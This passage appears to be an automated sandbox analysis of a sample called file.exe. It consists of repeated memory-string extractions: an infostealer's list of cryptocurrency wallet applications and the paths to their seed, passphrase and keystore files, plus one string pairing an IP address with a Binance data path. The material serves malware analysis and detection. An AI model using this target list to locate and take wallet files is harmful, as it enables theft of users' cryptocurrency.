Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\app-store.jsonn
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
